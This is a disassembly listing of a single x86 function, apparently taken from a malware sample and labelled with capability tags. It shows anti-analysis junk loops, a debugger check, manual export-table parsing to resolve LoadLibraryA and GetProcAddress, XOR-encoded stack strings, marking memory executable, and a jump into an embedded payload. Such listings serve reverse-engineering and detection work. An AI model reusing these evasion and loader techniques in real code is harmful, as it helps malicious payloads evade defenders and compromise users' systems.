Function at 0x41d740
Capabilities:
Check for unmoving mouse cursor
Contain obfuscated stackstrings
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41ed8c
mov eax, dword fs:[0]
push eax
sub esp, 0x244
mov eax, dword [0x42d014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x134], 0
jmp 0x41d789
mov eax, dword [ebp - 0x134]
add eax, 1
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 0x6d0
jae 0x41d873
push str.M6xA0
push str.UOY6P
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x164], eax
cmp dword [ebp - 0x164], 0xffffffff
jne 0x41d7ba
jmp 0x41d7d4
cmp dword [ebp - 0x164], 0xffffffff
jne 0x41d7d4
push 0x1a5a
call dword [sym.imp.USER32.dll_GetSysColorBrush]
mov dword [ebp - 0x1ec], eax
push 0x54c3
call dword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [ebp - 0x158], eax
cmp dword [ebp - 0x158], 0xffffffff
jne 0x41d7f0
jmp 0x41d816
cmp dword [ebp - 0x158], 0xffffffff
jne 0x41d816
push 0
push 0x1f28
push 0x66cd
push 0x3562
call dword [sym.imp.USER32.dll_SendMessageA]
mov dword [ebp - 0x234], eax
push 0x7cc3
call dword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [ebp - 0xd8], eax
mov ecx, dword [ebp - 0xd8]
sub ecx, 0x3b65
mov dword [ebp - 0xd8], ecx
je 0x41d83d
jmp 0x41d86e
mov edx, dword [ebp - 0xd8]
sub edx, 0x790
mov dword [ebp - 0xd8], edx
je 0x41d86e
push 0
push 0x3015
push 0x363a
push 0x78f2
call dword [sym.imp.USER32.dll_SendMessageA]
mov dword [ebp - 0x238], eax
jmp 0x41d77a
mov dword [ebp - 0x198], 0x39f
mov dword [ebp - 0x19c], 0x351
mov eax, dword [ebp - 0x198]
add eax, dword [ebp - 0x19c]
push eax
call fcn.00403470
add esp, 4
mov ecx, 8
imul edx, ecx, 0
fstp qword [ebp + edx - 0x8c]
mov dword [ebp - 0x1a0], 0x18d
mov dword [ebp - 0x1a4], 0x156
mov eax, dword [ebp - 0x1a0]
add eax, dword [ebp - 0x1a4]
push eax
call fcn.00403470
add esp, 4
mov ecx, 8
shl ecx, 0
fstp qword [ebp + ecx - 0x8c]
mov dword [ebp - 0x1a8], 0x31a
mov dword [ebp - 0x1ac], 0xb4
mov edx, dword [ebp - 0x1a8]
add edx, dword [ebp - 0x1ac]
push edx
call fcn.00403470
add esp, 4
mov eax, 8
shl eax, 1
fstp qword [ebp + eax - 0x8c]
mov dword [ebp - 0x1b0], 0x3aa
mov dword [ebp - 0x1b4], 0x1a4
mov ecx, dword [ebp - 0x1b0]
add ecx, dword [ebp - 0x1b4]
push ecx
call fcn.00403490
add esp, 4
fnstcw word [ebp - 0xda]
movzx eax, word [ebp - 0xda]
or eax, 0xc00
mov dword [ebp - 0x178], eax
fldcw word [ebp - 0x178]
fistp qword [ebp - 0x230]
fldcw word [ebp - 0xda]
mov edx, dword [ebp - 0x230]
mov eax, 4
imul ecx, eax, 3
mov dword [ebp + ecx - 0x64], edx
mov dword [ebp - 0x17c], 0xb6
mov dword [ebp - 0x180], 0x5a
mov edx, dword [ebp - 0x17c]
add edx, dword [ebp - 0x180]
push edx
call fcn.00403470
add esp, 4
mov eax, 8
shl eax, 2
fstp qword [ebp + eax - 0x8c]
mov dword [ebp - 0xe4], 0
mov dword [ebp - 0xe0], 0
mov dword [ebp - 0x23c], 0x1f5
mov dword [ebp - 0x240], 0x14b
mov dword [ebp - 0x138], 0
push 0x5f5e100
call fcn.0040651a
add esp, 4
mov dword [ebp - 0x184], eax
mov ecx, dword [ebp - 0x184]
mov dword [ebp - 0x138], ecx
cmp dword [ebp - 0x138], 0
je 0x41e6c2
mov dword [ebp - 0x15c], 0
push 0x5f5e100
push 0xff
mov edx, dword [ebp - 0x138]
push edx
call fcn.00407ca0
add esp, 0xc
mov dword [ebp - 0x15c], eax
cmp dword [ebp - 0x15c], 0
je 0x41e6c2
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x41da5a
jmp 0x41e6c2
mov dword [ebp - 0x160], 0
mov dword [ebp - 0x118], 0
mov dword [ebp - 0x118], edi
xor ebx, ebx
mov eax, 0x11
add eax, 0x1f
mov edi, dword fs:[ebx + eax]
mov edi, dword [edi + 0xc]
mov esi, dword [edi + 0x14]
mov esi, dword [esi]
mov esi, dword [esi]
mov eax, dword [esi + 0x10]
mov edi, eax
add edi, dword [eax + 0x3c]
mov edx, dword [edi + 0x78]
add edx, eax
mov edi, dword [edx + 0x20]
add edi, eax
push ebp
mov ebp, ebx
mov esi, dword [edi + ebp*4]
add esi, eax
inc ebp
cmp dword [esi], 0x64616f4c
jne 0x41daa1
cmp dword [esi + 8], 0x41797261
jne 0x41daa1
mov edi, dword [edx + 0x24]
add edi, eax
mov bp, word [edi + ebp*2]
mov edi, dword [edx + 0x1c]
add edi, eax
mov edi, dword [edi + ebp*4 - 4]
add edi, eax
pop ebp
mov dword [ebp - 0x118], edi
xor ebx, ebx
mov eax, 0x11
add eax, 0x1f
mov edi, dword fs:[ebx + eax]
mov edi, dword [edi + 0xc]
mov esi, dword [edi + 0x14]
mov esi, dword [esi]
mov esi, dword [esi]
mov eax, dword [esi + 0x10]
mov edi, eax
add edi, dword [eax + 0x3c]
mov edx, dword [edi + 0x78]
add edx, eax
mov edi, dword [edx + 0x20]
add edi, eax
push ebp
mov ebp, ebx
mov esi, dword [edi + ebp*4]
add esi, eax
inc ebp
cmp dword [esi], 0x50746547
jne 0x41db00
cmp dword [esi + 0xa], 0x73736572
jne 0x41db00
mov edi, dword [edx + 0x24]
add edi, eax
mov bp, word [edi + ebp*2]
mov edi, dword [edx + 0x1c]
add edi, eax
mov edi, dword [edi + ebp*4 - 4]
add edi, eax
pop ebp
mov dword [ebp - 0x160], edi
mov eax, dword [ebp - 0x160]
mov dword [ebp - 0xe4], eax
mov ecx, dword [ebp - 0x118]
mov dword [ebp - 0xe0], ecx
push str.vhCAFcsEre65tygfreGAFtyde
lea ecx, [ebp - 0xbc]
call fcn.00402a00
mov dword [ebp - 4], 0
mov byte [ebp - 0x34], 0x31
mov byte [ebp - 0x33], 0xd
mov byte [ebp - 0x32], 0x37
mov byte [ebp - 0x31], 2
mov byte [ebp - 0x30], 0x33
mov byte [ebp - 0x2f], 0x11
mov byte [ebp - 0x2e], 1
mov byte [ebp - 0x2d], 0x20
mov byte [ebp - 0x2c], 0x1c
mov byte [ebp - 0x2b], 0x11
mov byte [ebp - 0x2a], 0x66
mov byte [ebp - 0x29], 0x47
mov byte [ebp - 0x28], 0x1b
mov byte [ebp - 0x27], 0x1a
mov byte [ebp - 0x26], 2
mov byte [ebp - 0x25], 0x15
mov byte [ebp - 0x24], 1
mov byte [ebp - 0x23], 0
push 0x11
lea ecx, [ebp - 0xbc]
call fcn.004028f0
push eax
lea edx, [ebp - 0x34]
push edx
lea ecx, [ebp - 0xbc]
call fcn.00402910
push eax
call fcn.0041e790
add esp, 0x10
push eax
push 0x42a100
call dword [ebp - 0xe0]
push eax
call dword [ebp - 0xe4]
mov dword [ebp - 0x174], eax
push 0x11
lea ecx, [ebp - 0xbc]
call fcn.004028f0
push eax
lea eax, [ebp - 0x34]
push eax
lea ecx, [ebp - 0xbc]
call fcn.00402910
push eax
call fcn.0041e790
add esp, 0x10
mov byte [ebp - 0x50], 0x25
mov byte [ebp - 0x4f], 0x29
mov byte [ebp - 0x4e], 0x21
mov byte [ebp - 0x4d], 0x10
mov byte [ebp - 0x4c], 0xc
mov byte [ebp - 0x4b], 0x24
mov byte [ebp - 0x4a], 0x1c
mov byte [ebp - 0x49], 0x18
mov byte [ebp - 0x48], 0x38
mov byte [ebp - 0x47], 0x33
mov byte [ebp - 0x46], 0x11
mov byte [ebp - 0x45], 0x3d
mov byte [ebp - 0x44], 3
mov byte [ebp - 0x43], 6
mov byte [ebp - 0x42], 0x10
mov byte [ebp - 0x41], 0x1e
mov byte [ebp - 0x40], 0x13
mov byte [ebp - 0x3f], 1
mov byte [ebp - 0x3e], 0xb
mov byte [ebp - 0x3d], 0x35
mov byte [ebp - 0x3c], 0x14
mov byte [ebp - 0x3b], 0x24
mov byte [ebp - 0x3a], 0x37
mov byte [ebp - 0x39], 0x16
mov byte [ebp - 0x38], 9
mov byte [ebp - 0x37], 2
mov byte [ebp - 0x36], 0
push str.fADsgvyuWGtyfdeytdye
lea ecx, [ebp - 0xa4]
call fcn.00402a00
mov byte [ebp - 4], 1
mov dword [ebp - 0x168], 0
call dword [ebp - 0x174]
mov dword [ebp - 0x244], eax
push 0x1a
lea ecx, [ebp - 0xa4]
call fcn.004028f0
push eax
lea ecx, [ebp - 0x50]
push ecx
lea ecx, [ebp - 0xa4]
call fcn.00402910
push eax
call fcn.0041e790
add esp, 0x10
push eax
push 0x42a128
call dword [ebp - 0xe0]
push eax
call dword [ebp - 0xe4]
mov dword [ebp - 0x188], eax
push 0x1a
lea ecx, [ebp - 0xa4]
call fcn.004028f0
push eax
lea edx, [ebp - 0x50]
push edx
lea ecx, [ebp - 0xa4]
call fcn.00402910
push eax
call fcn.0041e790
add esp, 0x10
lea eax, [ebp - 0x168]
push eax
call dword [ebp - 0x174]
push eax
call dword [ebp - 0x188]
cmp dword [ebp - 0x168], 0
je 0x41dd65
mov ecx, 4
shl ecx, 1
mov edx, dword [ebp + ecx - 0x64]
sub edx, 8
mov eax, 4
shl eax, 1
mov dword [ebp + eax - 0x64], edx
mov byte [ebp - 4], 0
lea ecx, [ebp - 0xa4]
call fcn.00402990
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xbc]
call fcn.00402990
jmp 0x41e6c2
mov ecx, 4
imul edx, ecx, 3
mov eax, dword [ebp + edx - 0x64]
mov dword [ebp - 0x16c], eax
cmp dword [ebp - 0x16c], 0x24
ja case.0x41dd91.22
mov ecx, dword [ebp - 0x16c]
movzx edx, byte [ecx + 0x41e740]
jmp dword [edx*4 + 0x41e6e0]
mov dword [ebp - 0x140], 0
cmp dword [ebp - 0x140], 0x3469
jae 0x41ddd0
push 0x136e
call dword [sym.imp.USER32.dll_GetSysColorBrush]
mov dword [ebp - 0x248], eax
mov eax, dword [ebp - 0x140]
add eax, 1
mov dword [ebp - 0x140], eax
jmp 0x41dda2
jmp case.0x41dd91.22
mov dword [ebp - 0x144], 0
cmp dword [ebp - 0x144], 0x335d
jae 0x41de12
push str.bOebF
push str.nLXoN
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x24c], eax
mov ecx, dword [ebp - 0x144]
add ecx, 1
mov dword [ebp - 0x144], ecx
jmp 0x41dddf
jmp case.0x41dd91.22
mov dword [ebp - 0x148], 0
cmp dword [ebp - 0x148], 0x6d14
jae 0x41de4f
push 0x7d24
call dword [sym.imp.USER32.dll_GetSysColorBrush]
mov dword [ebp - 0x224], eax
mov edx, dword [ebp - 0x148]
add edx, 1
mov dword [ebp - 0x148], edx
jmp 0x41de21
jmp case.0x41dd91.22
mov dword [ebp - 0x14c], 0
cmp dword [ebp - 0x14c], 0x575a
jae 0x41de8c
push 0x74f5
call dword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [ebp - 0x228], eax
mov eax, dword [ebp - 0x14c]
add eax, 1
mov dword [ebp - 0x14c], eax
jmp 0x41de5e
jmp case.0x41dd91.22
mov dword [ebp - 0x150], 0
cmp dword [ebp - 0x150], 0x3af3
jae case.0x41dd91.5
push str.kqL3G
push str.OodEK
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x1c8], eax
mov ecx, dword [ebp - 0x150]
add ecx, 1
mov dword [ebp - 0x150], ecx
jmp 0x41de9b
mov dword [ebp - 0xe8], 0
cmp dword [ebp - 0xe8], 0x5dc
jae 0x41df06
push 0x6a1
call dword [sym.imp.USER32.dll_GetCursorPos]
mov dword [ebp - 0x1cc], eax
mov edx, dword [ebp - 0xe8]
add edx, 1
mov dword [ebp - 0xe8], edx
jmp 0x41ded8
jmp case.0x41dd91.22
mov dword [ebp - 0xec], 0
cmp dword [ebp - 0xec], 0x32ec
jae 0x41df4f
push 0
push 0x951
push 0x124e
push 0x64d0
call dword [sym.imp.USER32.dll_SendMessageA]
mov dword [ebp - 0x1d0], eax
mov eax, dword [ebp - 0xec]
add eax, 1
mov dword [ebp - 0xec], eax
jmp 0x41df15
jmp case.0x41dd91.22
mov dword [ebp - 0xf0], 0
cmp dword [ebp - 0xf0], 0x3151
jae 0x41df8c
push 0x6346
call dword [sym.imp.USER32.dll_GetSysColorBrush]
mov dword [ebp - 0x1d4], eax
mov ecx, dword [ebp - 0xf0]
add ecx, 1
mov dword [ebp - 0xf0], ecx
jmp 0x41df5e
jmp case.0x41dd91.22
mov dword [ebp - 0xf4], 0
cmp dword [ebp - 0xf4], 0x6c7d
jae 0x41dfd5
push 0
push 0x41c4
push 0x3427
push 0x702b
call dword [sym.imp.USER32.dll_SendMessageA]
mov dword [ebp - 0x1d8], eax
mov edx, dword [ebp - 0xf4]
add edx, 1
mov dword [ebp - 0xf4], edx
jmp 0x41df9b
jmp case.0x41dd91.22
mov dword [ebp - 0xf8], 0
cmp dword [ebp - 0xf8], 0x4509
jae 0x41e01e
push 0
push 0x4247
push 0x72ec
push 0x47a5
call dword [sym.imp.USER32.dll_SendMessageA]
mov dword [ebp - 0x1dc], eax
mov eax, dword [ebp - 0xf8]
add eax, 1
mov dword [ebp - 0xf8], eax
jmp 0x41dfe4
jmp case.0x41dd91.22
mov dword [ebp - 0xfc], 0
cmp dword [ebp - 0xfc], 0x4533
jae 0x41e067
push 0
push 0x2ecd
push 0x1e4c
push 0x4f9f
call dword [sym.imp.USER32.dll_SendMessageA]
mov dword [ebp - 0x1e0], eax
mov ecx, dword [ebp - 0xfc]
add ecx, 1
mov dword [ebp - 0xfc], ecx
jmp 0x41e02d
jmp case.0x41dd91.22
mov dword [ebp - 0x100], 0
cmp dword [ebp - 0x100], 0x382d
jae 0x41e0a4
push 0x55da
call dword [sym.imp.USER32.dll_GetCursorPos]
mov dword [ebp - 0x1e4], eax
mov edx, dword [ebp - 0x100]
add edx, 1
mov dword [ebp - 0x100], edx
jmp 0x41e076
jmp case.0x41dd91.22
mov dword [ebp - 0x104], 0
cmp dword [ebp - 0x104], 0x7aa9
jae 0x41e0ed
push 0
push 0x290f
push 0x695
push 0x1815
call dword [sym.imp.USER32.dll_SendMessageA]
mov dword [ebp - 0x1e8], eax
mov eax, dword [ebp - 0x104]
add eax, 1
mov dword [ebp - 0x104], eax
jmp 0x41e0b3
jmp case.0x41dd91.22
mov dword [ebp - 0x108], 0
cmp dword [ebp - 0x108], 0x4756
jae 0x41e136
push 0
push 0x29b0
push 0x23d2
push 0x392d
call dword [sym.imp.USER32.dll_SendMessageA]
mov dword [ebp - 0x21c], eax
mov ecx, dword [ebp - 0x108]
add ecx, 1
mov dword [ebp - 0x108], ecx
jmp 0x41e0fc
jmp case.0x41dd91.22
mov dword [ebp - 0x10c], 0
cmp dword [ebp - 0x10c], 0x370b
jae 0x41e173
push 0x67bb
call dword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [ebp - 0x1f0], eax
mov edx, dword [ebp - 0x10c]
add edx, 1
mov dword [ebp - 0x10c], edx
jmp 0x41e145
jmp case.0x41dd91.22
mov dword [ebp - 0x110], 0
cmp dword [ebp - 0x110], 0x3873
jae 0x41e1b0
push 0x4660
call dword [sym.imp.USER32.dll_GetSysColorBrush]
mov dword [ebp - 0x1f4], eax
mov eax, dword [ebp - 0x110]
add eax, 1
mov dword [ebp - 0x110], eax
jmp 0x41e182
jmp case.0x41dd91.22
mov dword [ebp - 0x114], 0
cmp dword [ebp - 0x114], 0x781
jae 0x41e1ed
push 0x7f20
call dword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [ebp - 0x1f8], eax
mov ecx, dword [ebp - 0x114]
add ecx, 1
mov dword [ebp - 0x114], ecx
jmp 0x41e1bf
jmp case.0x41dd91.22
mov dword [ebp - 0x13c], 0
cmp dword [ebp - 0x13c], 0x522e
jae 0x41e22f
push str.IwyEw
push str.pU37L
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x1fc], eax
mov edx, dword [ebp - 0x13c]
add edx, 1
mov dword [ebp - 0x13c], edx
jmp 0x41e1fc
jmp case.0x41dd91.22
mov dword [ebp - 0x11c], 0
cmp dword [ebp - 0x11c], 0x4309
jae 0x41e26c
push 0x3499
call dword [sym.imp.USER32.dll_GetCursorPos]
mov dword [ebp - 0x200], eax
mov eax, dword [ebp - 0x11c]
add eax, 1
mov dword [ebp - 0x11c], eax
jmp 0x41e23e
jmp case.0x41dd91.22
mov dword [ebp - 0x120], 0
cmp dword [ebp - 0x120], 0x2c2a
jae 0x41e2a9
push 0x46f
call dword [sym.imp.USER32.dll_GetSysColorBrush]
mov dword [ebp - 0x204], eax
mov ecx, dword [ebp - 0x120]
add ecx, 1
mov dword [ebp - 0x120], ecx
jmp 0x41e27b
jmp case.0x41dd91.22
mov dword [ebp - 0x124], 0
cmp dword [ebp - 0x124], 0x4dfc
jae 0x41e2eb
push str.UGA1Y
push str.QeKQ8
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x208], eax
mov edx, dword [ebp - 0x124]
add edx, 1
mov dword [ebp - 0x124], edx
jmp 0x41e2b8
jmp case.0x41dd91.22
mov dword [ebp - 0x128], 0
cmp dword [ebp - 0x128], 0x5f1
jae 0x41e328
push 0x3efb
call dword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [ebp - 0x20c], eax
mov eax, dword [ebp - 0x128]
add eax, 1
mov dword [ebp - 0x128], eax
jmp 0x41e2fa
jmp case.0x41dd91.22
mov dword [ebp - 0x12c], 0
mov dword [ebp - 0x170], 0
mov dword [ebp - 0x12c], edi
xor ebx, ebx
mov eax, 0x11
add eax, 0x1f
mov edi, dword fs:[ebx + eax]
mov edi, dword [edi + 0xc]
mov esi, dword [edi + 0x14]
mov esi, dword [esi]
mov esi, dword [esi]
mov eax, dword [esi + 0x10]
mov edi, eax
add edi, dword [eax + 0x3c]
mov edx, dword [edi + 0x78]
add edx, eax
mov edi, dword [edx + 0x20]
add edi, eax
push ebp
mov ebp, ebx
mov esi, dword [edi + ebp*4]
add esi, eax
inc ebp
cmp dword [esi], 0x64616f4c
jne 0x41e374
cmp dword [esi + 8], 0x41797261
jne 0x41e374
mov edi, dword [edx + 0x24]
add edi, eax
mov bp, word [edi + ebp*2]
mov edi, dword [edx + 0x1c]
add edi, eax
mov edi, dword [edi + ebp*4 - 4]
add edi, eax
pop ebp
mov dword [ebp - 0x12c], edi
xor ebx, ebx
mov eax, 0x11
add eax, 0x1f
mov edi, dword fs:[ebx + eax]
mov edi, dword [edi + 0xc]
mov esi, dword [edi + 0x14]
mov esi, dword [esi]
mov esi, dword [esi]
mov eax, dword [esi + 0x10]
mov edi, eax
add edi, dword [eax + 0x3c]
mov edx, dword [edi + 0x78]
add edx, eax
mov edi, dword [edx + 0x20]
add edi, eax
push ebp
mov ebp, ebx
mov esi, dword [edi + ebp*4]
add esi, eax
inc ebp
cmp dword [esi], 0x50746547
jne 0x41e3d3
cmp dword [esi + 0xa], 0x73736572
jne 0x41e3d3
mov edi, dword [edx + 0x24]
add edi, eax
mov bp, word [edi + ebp*2]
mov edi, dword [edx + 0x1c]
add edi, eax
mov edi, dword [edi + ebp*4 - 4]
add edi, eax
pop ebp
mov dword [ebp - 0x170], edi
mov ecx, dword [ebp - 0x170]
mov dword [ebp - 0xe4], ecx
mov edx, dword [ebp - 0x12c]
mov dword [ebp - 0xe0], edx
push 0x77e
push 0x42da70
lea ecx, [ebp - 0x1c4]
call fcn.004027a0
mov byte [ebp - 4], 2
mov dword [ebp - 0x18c], 0
lea ecx, [ebp - 0x1c4]
call fcn.00401560
mov dword [ebp - 0x154], eax
push str.uhUIAHsyutfTWt678
lea ecx, [ebp - 0xd4]
call fcn.00402a00
mov byte [ebp - 4], 3
mov byte [ebp - 0x20], 0x23
mov byte [ebp - 0x1f], 1
mov byte [ebp - 0x1e], 0x27
mov byte [ebp - 0x1d], 0x3d
mov byte [ebp - 0x1c], 0x34
mov byte [ebp - 0x1b], 0x29
mov byte [ebp - 0x1a], 0x1f
mov byte [ebp - 0x19], 0x29
mov byte [ebp - 0x18], 7
mov byte [ebp - 0x17], 0x1b
mov byte [ebp - 0x16], 0x12
mov byte [ebp - 0x15], 0x31
mov byte [ebp - 0x14], 0x34
mov byte [ebp - 0x13], 0
mov byte [ebp - 0x12], 0
push 0xe
lea ecx, [ebp - 0xd4]
call fcn.004028f0
push eax
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0xd4]
call fcn.00402910
push eax
call fcn.0041e790
add esp, 0x10
push eax
push str.kernel32.dll
call dword [ebp - 0xe0]
push eax
call dword [ebp - 0xe4]
mov dword [ebp - 0x190], eax
lea ecx, [ebp - 0x18c]
push ecx
push 0x40
push 0x77e
mov edx, dword [ebp - 0x154]
push edx
call dword [ebp - 0x190]
push 0xe
lea ecx, [ebp - 0xd4]
call fcn.004028f0
push eax
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0xd4]
call fcn.00402910
push eax
call fcn.0041e790
add esp, 0x10
push 0x1ac00
push 0x42e1f0
lea ecx, [ebp - 0x1bc]
call fcn.004027a0
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x1bc]
call fcn.00401560
mov dword [ebp - 0x194], eax
xor ecx, ecx
or bh, cl
mov eax, dword [ebp - 0x194]
push eax
push 0
mov eax, dword [ebp - 0x154]
add eax, 0x130
sub eax, 1
lea edi, [0x448df0]
push edi
mov edi, 0x25
add edi, 0x25
add eax, edi
add eax, 8
pop edi
pushal
xor ax, bx
mov esi, eax
and al, 9
and bh, ah
and bx, 0x604e
and edx, 0x1ed1
popal
mov edi, dword [edi]
push edi
mov ecx, esi
and cx, bx
xor bl, dl
mov ebx, ebx
mov edx, 0x5f64
xor ebx, 0x1e19
or esi, 0x3e06
xor ebx, 0x5d77
or dl, ch
xor bx, 0x1a36
xor esi, 0x4ee5
xor ebx, 0x4d94
or bh, dl
xor bh, 0xf2
or bx, 0x294e
pushal
pushf
xor ch, 0xc7
popf
popal
call fcn.0041e770
push edi
jmp eax
mov byte [ebp - 4], 0
lea ecx, [ebp - 0xa4]
call fcn.00402990
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xbc]
call fcn.00402990
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004064c9
mov esp, ebp
pop ebp
ret